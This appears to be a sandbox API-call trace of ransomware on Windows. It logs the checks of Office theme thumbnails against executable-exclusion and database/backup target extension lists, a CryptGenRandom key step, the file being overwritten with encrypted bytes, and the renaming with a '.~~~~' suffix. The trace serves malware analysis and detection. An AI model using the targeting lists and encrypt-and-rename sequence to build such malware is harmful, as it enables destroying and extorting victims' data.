	[0083.776] lstrlenW (lpString=".txt") returned 4
	[0083.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0083.776] lstrlenW (lpString=".mdt") returned 4
	[0083.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0083.786] lstrlenW (lpString=".BDB") returned 4
	[0083.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0083.786] lstrlenW (lpString=".eql") returned 4
	[0083.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0083.786] lstrlenW (lpString=".DBF") returned 4
	[0083.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0083.786] lstrlenW (lpString=".EQL") returned 4
	[0083.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0083.786] lstrlenW (lpString=".FDB") returned 4
	[0083.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0083.786] lstrlenW (lpString=".EDB") returned 4
	[0083.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0083.786] lstrlenW (lpString=".DACPAC") returned 7
	[0083.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0083.805] lstrlenW (lpString=".VHD") returned 4
	[0083.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0083.805] lstrlenW (lpString=".DBV") returned 4
	[0083.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0083.805] lstrlenW (lpString=".dacpac") returned 7
	[0083.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0083.805] lstrlenW (lpString=".sdf") returned 4
	[0083.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0083.805] lstrlenW (lpString=".accdb") returned 6
	[0083.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0083.805] lstrlenW (lpString=".DBX") returned 4
	[0083.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0083.805] lstrlenW (lpString=".MDT") returned 4
	[0083.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0083.805] lstrlenW (lpString=".SQB") returned 4
	[0083.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0083.805] lstrlenW (lpString=".vhd") returned 4
	[0083.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0083.805] lstrlenW (lpString=".bac") returned 4
	[0083.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0083.805] lstrlenW (lpString=".mdf") returned 4
	[0083.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0083.805] lstrlenW (lpString=".BAK") returned 4
	[0083.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0083.806] lstrlenW (lpString=".BAC") returned 4
	[0083.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0083.806] lstrlenW (lpString=".dbs") returned 4
	[0083.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0083.806] lstrlenW (lpString=".vhdx") returned 5
	[0083.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0083.806] lstrlenW (lpString=".NDF") returned 4
	[0083.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0083.806] lstrlenW (lpString=".dat") returned 4
	[0083.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0083.806] lstrlenW (lpString=".DBS") returned 4
	[0083.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0083.806] lstrlenW (lpString=".CKP") returned 4
	[0083.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0083.806] lstrlenW (lpString=".edb") returned 4
	[0083.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0083.806] lstrlenW (lpString=".PST") returned 4
	[0083.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0083.806] lstrlenW (lpString=".dbf") returned 4
	[0083.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0083.806] lstrlenW (lpString=".SQL") returned 4
	[0083.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0083.806] lstrlenW (lpString=".pst") returned 4
	[0083.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0083.806] lstrlenW (lpString=".dbv") returned 4
	[0083.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0083.807] lstrlenW (lpString=".SDF") returned 4
	[0083.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0083.807] lstrlenW (lpString=".dtxs") returned 5
	[0083.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0083.807] lstrlenW (lpString=".db3") returned 4
	[0083.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0083.807] lstrlenW (lpString=".OST") returned 4
	[0083.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0083.807] lstrlenW (lpString=".dbx") returned 4
	[0083.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0083.807] lstrlenW (lpString=".DB3") returned 4
	[0083.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0083.807] lstrlenW (lpString=".DAT") returned 4
	[0083.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0083.807] lstrlenW (lpString=".VHDX") returned 5
	[0083.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0083.807] lstrlenW (lpString=".ndf") returned 4
	[0083.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0083.807] lstrlenW (lpString=".DB") returned 3
	[0083.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0083.807] lstrlenW (lpString=".sql") returned 4
	[0083.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0083.807] lstrlenW (lpString=".MYD") returned 4
	[0083.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0083.807] lstrlenW (lpString=".DBT") returned 4
	[0083.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0083.808] lstrlenW (lpString=".ACCDB") returned 6
	[0083.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0083.808] lstrlenW (lpString=".fdb") returned 4
	[0083.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0083.808] lstrlenW (lpString=".bak") returned 4
	[0083.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0083.808] lstrlenW (lpString=".myd") returned 4
	[0083.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0083.808] lstrlenW (lpString=".DTXS") returned 5
	[0083.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0083.808] lstrlenW (lpString=".ckp") returned 4
	[0083.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0083.808] lstrlenW (lpString=".dbt") returned 4
	[0083.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0083.808] lstrlenW (lpString=".db") returned 3
	[0083.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0083.808] lstrlenW (lpString=".TXT") returned 4
	[0083.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0083.808] lstrlenW (lpString=".MDF") returned 4
	[0083.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0083.808] lstrlenW (lpString=".bdb") returned 4
	[0083.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0083.808] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.809] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0083.810] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.810] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.810] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20379991516) returned 1
	[0083.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9bc8b4b0, dwHighDateTime=0x1d60e1e)) 
	[0083.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9538
	[0083.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9538 | out: hHeap=0x300000) returned 1
	[0083.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807b50
	[0083.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807b50 | out: hHeap=0x300000) returned 1
	[0083.810] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0083.811] GetLastError () returned 0x0
	[0083.811] GetLastError () returned 0x0
	[0083.811] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0083.811] GetLastError () returned 0x0
	[0083.811] GetLastError () returned 0x0
	[0083.814] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff80a1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.814] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x7f5f, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x7f5f, lpOverlapped=0x0) returned 1
	[0083.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.814] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.814] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.814] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.814] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.815] CloseHandle (hObject=0x11c) returned 1
	[0083.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.815] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.~~~~")) returned 1
	[0083.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4830 | out: hHeap=0x300000) returned 1
	[0083.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.830] GetLastError () returned 0x0
	[0083.830] RtlWakeConditionVariable () returned 0x365f70
	[0083.830] GetCurrentThreadId () returned 0x9f4
	[0083.830] GetCurrentThreadId () returned 0x9f4
	[0083.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6978 | out: hHeap=0x300000) returned 1
	[0083.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a93b0 | out: hHeap=0x300000) returned 1
	[0083.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6978
	[0083.830] lstrlenW (lpString=".scr") returned 4
	[0083.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0083.830] lstrlenW (lpString=".cmd") returned 4
	[0083.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0083.830] lstrlenW (lpString=".dll") returned 4
	[0083.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0083.830] lstrlenW (lpString=".bat") returned 4
	[0083.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0083.830] lstrlenW (lpString=".cpl") returned 4
	[0083.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0083.830] lstrlenW (lpString=".sys") returned 4
	[0083.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0083.831] lstrlenW (lpString=".msc") returned 4
	[0083.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0083.831] lstrlenW (lpString=".com") returned 4
	[0083.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0083.831] lstrlenW (lpString=".lnk") returned 4
	[0083.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0083.831] lstrlenW (lpString=".msp") returned 4
	[0083.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0083.831] lstrlenW (lpString=".pif") returned 4
	[0083.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0083.831] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0083.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.900] lstrlenW (lpString=".sqb") returned 4
	[0083.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0083.900] lstrlenW (lpString=".ost") returned 4
	[0083.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0083.902] lstrlenW (lpString=".txt") returned 4
	[0083.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0083.902] lstrlenW (lpString=".mdt") returned 4
	[0083.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0083.902] lstrlenW (lpString=".BDB") returned 4
	[0083.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0083.902] lstrlenW (lpString=".eql") returned 4
	[0083.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0083.902] lstrlenW (lpString=".DBF") returned 4
	[0083.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0083.902] lstrlenW (lpString=".EQL") returned 4
	[0083.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0083.902] lstrlenW (lpString=".FDB") returned 4
	[0083.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0083.921] lstrlenW (lpString=".EDB") returned 4
	[0083.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0083.921] lstrlenW (lpString=".DACPAC") returned 7
	[0083.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0083.921] lstrlenW (lpString=".VHD") returned 4
	[0083.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0083.921] lstrlenW (lpString=".DBV") returned 4
	[0083.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0083.921] lstrlenW (lpString=".dacpac") returned 7
	[0083.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0083.921] lstrlenW (lpString=".sdf") returned 4
	[0083.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0083.921] lstrlenW (lpString=".accdb") returned 6
	[0083.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0083.921] lstrlenW (lpString=".DBX") returned 4
	[0083.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0083.921] lstrlenW (lpString=".MDT") returned 4
	[0083.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0083.921] lstrlenW (lpString=".SQB") returned 4
	[0083.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0083.921] lstrlenW (lpString=".vhd") returned 4
